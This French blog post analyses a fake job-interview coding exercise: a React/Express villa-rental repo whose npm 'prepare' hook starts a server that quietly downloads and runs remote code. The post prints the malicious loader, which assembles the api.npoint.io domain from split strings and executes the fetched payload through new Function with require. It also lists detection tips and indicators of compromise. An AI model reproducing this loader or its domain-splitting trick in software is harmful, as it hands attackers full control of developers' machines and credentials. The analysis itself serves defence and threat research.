Une semaine. C'est le temps qu'il a fallu pour que le suivant se manifeste
Si vous avez lu mon dernier article, vous savez que j'ai failli tomber dans le piège d'un faux exercice de recrutement qui cachait un malware sur la Binance Smart Chain. C'était une plateforme de poker avec des payloads hébergés sur la blockchain
Cette fois c'est une "plateforme de location Copia" — une appli de réservation de villas construite avec React, Express et MongoDB. Habillage différent, même jeu
Et ils ont failli rendre la détection plus difficile
L'Accroche
Même scénario que la dernière fois. Un recruteur vous contacte, le poste a l'air bien, voici un repo à examiner comme exercice à faire chez soi
Le projet ressemble à une appli de location MERN stack standard. Villas, réservations, authentification utilisateur, chat. Frontend React propre avec react-router, backend Express avec authentification JWT, Socket.io pour la messagerie en temps réel
Copia-rental_platform/├── src/│ ├── components/ # Home, Villas, Contact, Navbar, Footer│ ├── subComponents/ # HeroSection, Regions, TopVillas│ ├── server/│ │ ├── controllers/ # auth, product, seller, chat│ │ ├── middleware/ # JWT socket auth│ │ ├── models/ # User, Product, Chat│ │ ├── routers/ # Express routes│ │ └── utils/ # ...c'est là que ça devient bizarre│ └── App.jsx├── package.json└── vite.config.js
À première vue, ça passe le test. De vrais composants, un vrai flux d'authentification, de vraies opérations CRUD
Signal d'Alarme #1 : Le Répertoire utils
Le serveur contient un répertoire utils/ rempli de fichiers qui n'ont absolument rien à voir avec la location de villas :
src/server/utils/├── actions/│ ├── rarity_core_attributes.js│ ├── rarity_extended_boars.js│ ├── rarity_extended_crafting_helper.js│ ├── rarity_extended_daycare.js│ ├── rarity_extended_equipment.js│ ├── rarity_extended_farming.js│ ├── rarity_extended_name.js│ ├── rarity_openmic_perform.js│ ├── rarity_theForest.js│ ├── vaults.js│ └── utils.js├── index.js└── performBatchedUpdates.js
Tout cela est volé de Rarity Extended, un jeu RPG blockchain. Les fichiers contiennent encore les en-têtes d'auteur originaux avec @Author: Rarity Extended et @Twitter: @RXtended
Une plateforme de location n'a pas besoin de apeInVault(), claimGold(), recruitAdventurer() ou lootDungeonTheCellar(). Ce code existe uniquement pour gonfler le repo et le faire ressembler à un projet plus grand et plus légitime
Signal d'Alarme #2 : L'Historique Git
L'historique des commits raconte la vraie histoire :
61e64fb updated backend functions 45b66b14 updated backend functions 3776cc7f deleted backend api connection...01f085f 0xdj28f8q2hfebc7d74c 0xkaf28fjdrafhc2ff83a 0xioadq328fakfw1a6db3e 0xi2fidkkfkw8e1734a 0xdafk3afdufh2...7b2d903 Initial commit
Plus de 40 commits avec de faux messages en apparence hexadécimale conçus pour ressembler à des hashs de transactions blockchain. Quatre identités d'auteurs différentes — smitrajput, rcstanciu, fadeev, passabilities — tous commettant pour donner l'impression qu'une vraie équipe a construit ça au fil du temps
Personne ne nomme ses commits 0xmcr214a31be. C'est du théâtre
Signal d'Alarme #3 : Le Script prepare
Comme la dernière fois :
{"scripts": {"start": "npm run server | vite","prepare": "node ./src/server/app.js | vite","server": "node ./src/server/app.js"}}
Le hook de cycle de vie prepare s'exécute automatiquement lors du npm install. Il démarre le serveur backend. Le serveur charge les controllers. Et l'un de ces controllers réserve une surprise
La Charge Utile
Voici le malware, caché dans src/server/controllers/product.js entre des fonctions CRUD tout à fait normales :
const subDomain1 = "api.np";const subDomain2 = "oint.io";const domain2 = subDomain1 + subDomain2;const uuid = "c237b2d383b98719acdc";
Le domaine est découpé en deux chaînes. "api.np" + "oint.io" s'assemble en api.npoint.io — un service d'hébergement JSON. Si vous faites un grep dans le code à la recherche d'URL suspectes, vous n'en trouverez pas. Malin
Puis enfoui entre getBidHistory et updateProduct :
(async () => {const res = await axios.get(`https://${domain2}/${uuid}`);new Function("require", res.data.model)(require);})();
Une fonction async auto-invoquée qui télécharge du code depuis le serveur distant et l'exécute avec new Function(), en passant require pour un accès complet à Node.js
Même technique que l'arnaque au poker. Même pattern new Function("require", payload)(require). Mécanisme de livraison différent — cette fois c'est une API JSON au lieu d'un smart contract blockchain
Comparaison des Deux Attaques
L'arnaque au poker (semaine 1) se déguisait en plateforme de poker Web3. Elle hébergeait sa charge utile sur un smart contract Binance Smart Chain, déclenchée par un appel à configureCollection(). L'obfuscation reposait sur des noms de fonctions à l'apparence normale, et le code de remplissage était des événements d'échecs dans une appli de poker
La plateforme de location (semaine 2) se fait passer pour un site de réservation de villas. Elle héberge sa charge utile sur npoint.io, un service d'API JSON. Le déclencheur est une IIFE auto-invoquée enfouie entre des exports normaux. L'obfuscation utilise des chaînes de domaine découpées, et le code de remplissage est un jeu RPG blockchain intégré dans une appli de location
Ce qui reste identique : le hook prepare s'exécute automatiquement à l'installation. Les deux utilisent new Function("require", payload)(require) pour exécuter du code téléchargé avec un accès complet au système
La technique de base est identique. Télécharger une chaîne, l'exécuter comme du code, passer require pour donner un accès complet au système
L'approche npoint.io est en fait moins sophistiquée que la version blockchain. Un endpoint JSON peut être supprimé. Un smart contract est immuable. Mais c'est aussi plus rapide à mettre en place et plus facile à mettre à jour
Ce Qui Change Cette Fois
Le découpage de chaînes est nouveau. Au lieu d'avoir une URL complète dans le code, ils répartissent le domaine sur plusieurs variables. Cela contourne les recherches grep simples de domaines malveillants connus
Le placement est aussi plus subtil. Dans l'arnaque au poker, le déclencheur du malware était un appel de fonction isolé à la fin du démarrage du serveur. Ici c'est une IIFE anonyme coincée entre deux fonctions d'export normales dans un fichier controller. Il faudrait lire chaque ligne pour le repérer
Et le code de remplissage est plus malin. La dernière fois, ils avaient des événements d'échecs dans un jeu de poker. Cette fois, le code volé de Rarity Extended a au moins un rapport avec la crypto/Web3, ce qui est marginalement plus plausible dans le contexte d'un projet Node.js
Le Schéma
C'est la campagne Contagious Interview. Attribuée au Lazarus Group de Corée du Nord. Ils ciblent les développeurs — en particulier ceux de la crypto — à travers de fausses offres d'emploi
La formule :
- Un faux recruteur vous contacte avec une bonne opportunité
- Un processus d'entretien professionnel instaure la confiance
- Un exercice de codage à domicile est livré sous forme de repo GitHub
npm installdéclenche la charge utile- Votre machine est compromise
Deux tentatives en une semaine me dit qu'ils passent à l'échelle. Soit je suis maintenant sur une liste, soit le filet s'élargit
Que Faire
Si vous recevez un exercice à domicile d'un recruteur :
- Lisez les scripts du
package.jsonavant tout —prepare,preinstall,postinstallsont des hooks qui s'exécutent automatiquement - Recherchez
new Function,eval,Function(dans tout le code - Cherchez les concaténations de chaînes qui construisent des URL ou des noms de domaine
- Vérifiez si les répertoires utils ou lib correspondent vraiment à l'objectif du projet
- Regardez l'historique git — des commits hex factices et plusieurs auteurs sur un petit projet sont des signaux d'alarme
- Exécutez-le dans un conteneur Docker ou une VM si vous l'exécutez
Si vous avez déjà lancé npm install sur un repo suspect :
- Considérez-vous comme compromis. Changez tous vos identifiants, vérifiez les processus inconnus, scannez les extensions de navigateur
- Déplacez vos cryptos de tout wallet accessible depuis cette machine
- Vérifiez
~/.ssh/,~/.aws/, les profils de navigateur pour des signes d'exfiltration
Indicators of Compromise
Pour ceux qui font de la recherche sur les menaces :
- URL de charge utile :
https://api.npoint.io/c237b2d383b98719acdc - Technique : Découpage de chaînes pour assembler le domaine (
"api.np" + "oint.io") - Exécution :
new Function("require", res.data.model)(require) - Auteur git :
smitrajput <smitrajputtd@gmail.com>
Réflexion Finale
Deux fois en une semaine. Même technique, emballage différent
La première a failli m'avoir parce que je ne m'y attendais pas. Celle-ci non, parce que j'audite maintenant chaque exercice avant d'y toucher. Cette paranoïa m'a sauvé
Si vous cherchez un emploi en tant que développeur en ce moment, surtout dans la crypto ou le Web3 — vos compétences en revue de code doivent commencer par l'exercice lui-même. Avant d'écrire une seule ligne de code, lisez le leur
Le recruteur est peut-être faux. L'entreprise est peut-être fausse. Mais le malware est bien réel
Stay Updated
Get notified about new posts on automation, productivity tips, indie hacking, and web3.
No spam, ever. Unsubscribe anytime.



